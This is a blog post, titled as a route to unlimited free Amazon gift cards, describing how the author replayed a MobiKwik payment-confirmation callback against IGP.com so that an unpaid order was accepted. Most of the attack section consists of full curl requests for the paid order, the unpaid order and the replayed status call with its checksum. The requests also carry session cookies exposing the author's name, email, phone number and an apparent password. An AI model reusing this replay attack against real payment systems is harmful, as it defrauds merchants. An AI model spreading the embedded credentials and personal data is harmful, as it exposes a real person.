Unlimited Free Amazon Gift Cards (Courtesy IGP.com)

Thanks to Yes bank who gave me 28000 reward points as a gift for making some purchases during Diwali festival. So, Yes bank has this great option of redeeming your points for Amazon gift cards. So I also redeemed my reward points for Amazon gift cards. Interestingly, instead of sending a soft copy over the mail, they sent hard copy of gift cards. They used IGP.com's service to send me these cards. That's how I stumbled upon this website.

Now, one day I had to buy Amazon gift cards to gift them to someone. Instead of buying them from Amazon directly, I thought of giving a shot to IGP.com.
So I opened this website. Added Rs. 500 Amazon gift card and proceed to checkout. Since, I have now grown interest of finding vulnerabilities in payment systems of websites, so I started checking out what network requests (or API calls) they are making on their servers so that I could some issue in those calls.
I completed the payment and now I had all the network calls their site made or received while I placed my order. I started diving deep into each one call to see if some replay, man in the middle, spoofing, etc attacks can be done.
And BAMMM, after trying out around half a dozen of requests and spending around 1 hour, I found one.

I FOUND A VULNERABILITY USING WHICH I WAS ABLE TO ORDER AMAZON GIFT CARDS FOR ME FOR FREE. YES FREE!

Vulnerability:

So the vulnerability existed in the code of the payment confirmation call which the merchant site receives after completing the payment on the payment gateway. When you say "Make payment" on merchant (IGP.com here) website, this is what happens at high level:

1. They create order in their system and then they redirect you to the payment gateway with the order id, 
2. You make payment over there, and 
3. Then payment gateway sends you back to the Merchant site with the confirmation data so that merchant will know that the payment has been done. 

This confirmation data contains the order id (which merchant sent to the payment gateway in the step 1.) so that merchant will know for which order the payment has been done. This data is also secured by a checksum so that it cannot be tempered in between.

Now this checking of order id on receiving confirmation was missing on this website. So this is what I did:

1. I placed first order. This is a valid order in which a valid payment has been done. This was order 1 with order id 2556758.
1. When I submit the order for payment on last page of checkout, then the following call goes:
   curl 'https://www.igp.com/payment' -H 'Pragma: no-cache' -H 'Origin: https://www.igp.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: no-cache' -H 'Referer: https://www.igp.com/checkout' -H 'Cookie: uniqueId=53832ffe-471b-4fa8-abd4-fdda8e4194ca; setUtmSource=gclid; setUtmMedium=Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; lp=%2F; _ga=GA1.2.492270771.1517307932; _gac_UA-79781643-1=1.1517307932.Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; _ceir=1; pnctest=1; addons=zero; _uri=%7B%22id%22%3A%22C66A8B3B56CDE5691D72AF5B96D46B4814B8273C%22%2C%22fname%22%3A%22UDIT%22%2C%22lname%22%3A%22AGARWAL%22%2C%22email%22%3A%22HELLO%40UDITAGARWAL.COM%22%2C%22passwd%22%3A%2238206610%22%2C%22cid%22%3A99%2C%22fkasid%22%3A5%2C%22mob%22%3A%22919411656264%22%2C%22v%22%3A1%2C%22mcart%22%3A0%2C%22cic%22%3A1%2C%22newsletter%22%3Atrue%7D; m-cart=0; flag=0; addressId=1618349; _sok_Google_conversion_pixel_Salecomplete_1773_DuplicateIdentifier_1221265_19306=1221265; _sok_Google_remarketing_pixel_Salecomplete_1742_DuplicateIdentifier_1221265_19306=1221265; _sokSalecomplete1739_DuplicateIdentifier_1221265_19306=1221265; _sok_Facebook_pixel_Salecomplete_1740_DuplicateIdentifier_1221265_19306=1221265; _gid=GA1.2.451732309.1518001218; igp=s%3Abfa63963-9c34-41b3-bc79-74f8c2111257.rHFnzCTNp%2F3Z8yNo%2BXXdlPjbOJK9z%2BZzV08kgGFEVRc; _uetsid=_ueta091e2a3; _ceg.s=p3th0s; _ceg.u=p3th0s; _gat_UA-79781643-1=1' -H 'Connection: keep-alive' --data 'paytype=wallets&option=mobikwikwallet&vpa=' --compressed
2. This call creates the order id which is then given to mobikwik for payment processing. So, the next call goes to the mobikwik (Payment gateway) so that user can make the payment.
   curl 'https://walletapi.mobikwik.com/wallet' -H 'Pragma: no-cache' -H 'Origin: https://www.igp.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: no-cache' -H 'Referer: https://www.igp.com/payment' -H 'Cookie: __utmc=253023893; _ga=GA1.2.568201937.1514453213; WZRK_G=11bba22e61eb485e8715add639d8ef11; _vz=viz_5a44ef032f2b3; mipaygatewaywallet0=0; _gid=GA1.2.395074720.1518006927; JSESSIONID=AFC4EAD0606606B11632161C788357CD; __utma=253023893.568201937.1514453213.1517509598.1518013873.13; __utmz=253023893.1518013873.13.13.utmcsr=zingoy.com|utmccn=(referral)|utmcmd=referral|utmcct=/place_order' -H 'Connection: keep-alive' --data 'email=HELLO%40UDITAGARWAL.COM&amount=500&cell=9411656264&orderid=2556758&mid=MBK1480&redirecturl=https%3A%2F%2Fwww.igp.com%2Fmobikwik%2Fstatus&checksum=6eea1fcb56a7bfb79c1e0df0dcd3263a2aee7c527fc1ea048989678e651df7f3' --compressed
3. After successful payment on mobikwik, call comes back to igp for confirmation of order. At this time, the last order with order id: 2556758 got confirmed which is sort of correct so far because thats the one order in pending state on this website.
   curl 'https://www.igp.com/mobikwik/status' -H 'Pragma: no-cache' -H 'Origin: https://walletapi.mobikwik.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: no-cache' -H 'Referer: https://walletapi.mobikwik.com/walletapis/paygatewaywallet?authcode=8533261302' -H 'Cookie: uniqueId=53832ffe-471b-4fa8-abd4-fdda8e4194ca; setUtmSource=gclid; setUtmMedium=Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; lp=%2F; _ga=GA1.2.492270771.1517307932; _gac_UA-79781643-1=1.1517307932.Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; _ceir=1; pnctest=1; addons=zero; _uri=%7B%22id%22%3A%22C66A8B3B56CDE5691D72AF5B96D46B4814B8273C%22%2C%22fname%22%3A%22UDIT%22%2C%22lname%22%3A%22AGARWAL%22%2C%22email%22%3A%22HELLO%40UDITAGARWAL.COM%22%2C%22passwd%22%3A%2238206610%22%2C%22cid%22%3A99%2C%22fkasid%22%3A5%2C%22mob%22%3A%22919411656264%22%2C%22v%22%3A1%2C%22mcart%22%3A0%2C%22cic%22%3A1%2C%22newsletter%22%3Atrue%7D; m-cart=0; flag=0; addressId=1618349; _sok_Google_conversion_pixel_Salecomplete_1773_DuplicateIdentifier_1221265_19306=1221265; _sok_Google_remarketing_pixel_Salecomplete_1742_DuplicateIdentifier_1221265_19306=1221265; _sokSalecomplete1739_DuplicateIdentifier_1221265_19306=1221265; _sok_Facebook_pixel_Salecomplete_1740_DuplicateIdentifier_1221265_19306=1221265; _gid=GA1.2.451732309.1518001218; igp=s%3Abfa63963-9c34-41b3-bc79-74f8c2111257.rHFnzCTNp%2F3Z8yNo%2BXXdlPjbOJK9z%2BZzV08kgGFEVRc; _uetsid=_ueta091e2a3; _ceg.s=p3th0s; _ceg.u=p3th0s' -H 'Connection: keep-alive' --data 'statuscode=0&amount=500.00&orderid=2556758&statusmessage=The+payment+has+been+successfully+collected&checksum=bbd485c913cb55b9a2c7521051429502874131a525d6f8807f951d37a8d8f57a&mid=MBK1480' --compressed
2. Now I again created another  Order 2 (Order made without actually paying anything.):
1. After checkout page, the call again goes to payment gateway to process payment for this new order which has order id 2556767.curl 'https://walletapi.mobikwik.com/wallet' -H 'Pragma: no-cache' -H 'Origin: https://www.igp.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: no-cache' -H 'Referer: https://www.igp.com/payment' -H 'Cookie: __utmc=253023893; _ga=GA1.2.568201937.1514453213; WZRK_G=11bba22e61eb485e8715add639d8ef11; _vz=viz_5a44ef032f2b3; mipaygatewaywallet0=0; _gid=GA1.2.395074720.1518006927; JSESSIONID=B64987B6EB2216212E5D426ECC730CAD; __utma=253023893.568201937.1514453213.1518013873.1518068351.14; __utmz=253023893.1518068351.14.14.utmcsr=igp.com|utmccn=(referral)|utmcmd=referral|utmcct=/payment; __utmt=1; __utmb=253023893.2.10.1518068351' -H 'Connection: keep-alive' --data 'email=HELLO%40UDITAGARWAL.COM&amount=500&cell=9411656264&orderid=2556767&mid=MBK1480&redirecturl=https%3A%2F%2Fwww.igp.com%2Fmobikwik%2Fstatus&checksum=24b614cdda5fba8cbcb82c8ec0a709039724236db2ad5559c47eb1e1760a3e41' --compressed
2. Now I abandon the process on mobikwik payment gateway page and instead of that I replay the reply we received from mobikwik for the previous order:
   curl 'https://www.igp.com/mobikwik/status' -H 'Pragma: no-cache' -H 'Origin: https://walletapi.mobikwik.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Cache-Control: no-cache' -H 'Referer: https://walletapi.mobikwik.com/walletapis/paygatewaywallet?authcode=8533261302' -H 'Cookie: uniqueId=53832ffe-471b-4fa8-abd4-fdda8e4194ca; setUtmSource=gclid; setUtmMedium=Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; lp=%2F; _ga=GA1.2.492270771.1517307932; _gac_UA-79781643-1=1.1517307932.Cj0KCQiAzMDTBRDDARIsABX4AWzhMYjAPriyAAkCRLqGpRcDTlC7tcWxZQN4NHQIqpMpWWq0APIcFgYaAgnaEALw_wcB; _ceir=1; pnctest=1; addons=zero; _uri=%7B%22id%22%3A%22C66A8B3B56CDE5691D72AF5B96D46B4814B8273C%22%2C%22fname%22%3A%22UDIT%22%2C%22lname%22%3A%22AGARWAL%22%2C%22email%22%3A%22HELLO%40UDITAGARWAL.COM%22%2C%22passwd%22%3A%2238206610%22%2C%22cid%22%3A99%2C%22fkasid%22%3A5%2C%22mob%22%3A%22919411656264%22%2C%22v%22%3A1%2C%22mcart%22%3A0%2C%22cic%22%3A1%2C%22newsletter%22%3Atrue%7D; m-cart=0; flag=0; addressId=1618349; _sok_Google_conversion_pixel_Salecomplete_1773_DuplicateIdentifier_1221265_19306=1221265; _sok_Google_remarketing_pixel_Salecomplete_1742_DuplicateIdentifier_1221265_19306=1221265; _sokSalecomplete1739_DuplicateIdentifier_1221265_19306=1221265; _sok_Facebook_pixel_Salecomplete_1740_DuplicateIdentifier_1221265_19306=1221265; _gid=GA1.2.451732309.1518001218; igp=s%3Abfa63963-9c34-41b3-bc79-74f8c2111257.rHFnzCTNp%2F3Z8yNo%2BXXdlPjbOJK9z%2BZzV08kgGFEVRc; _uetsid=_ueta091e2a3; _ceg.s=p3th0s; _ceg.u=p3th0s' -H 'Connection: keep-alive' --data 'statuscode=0&amount=500.00&orderid=2556758&statusmessage=The+payment+has+been+successfully+collected&checksum=bbd485c913cb55b9a2c7521051429502874131a525d6f8807f951d37a8d8f57a&mid=MBK1480' --compressed
3. And here you go. Order gets placed successfully and you receive following as the response of above call:
   <p>Moved Temporarily. Redirecting to <a href="/success">/success</a></p>

So, actually I did not pay anything for the second order and it got placed successfully. I successfully received sms and email confirming my order.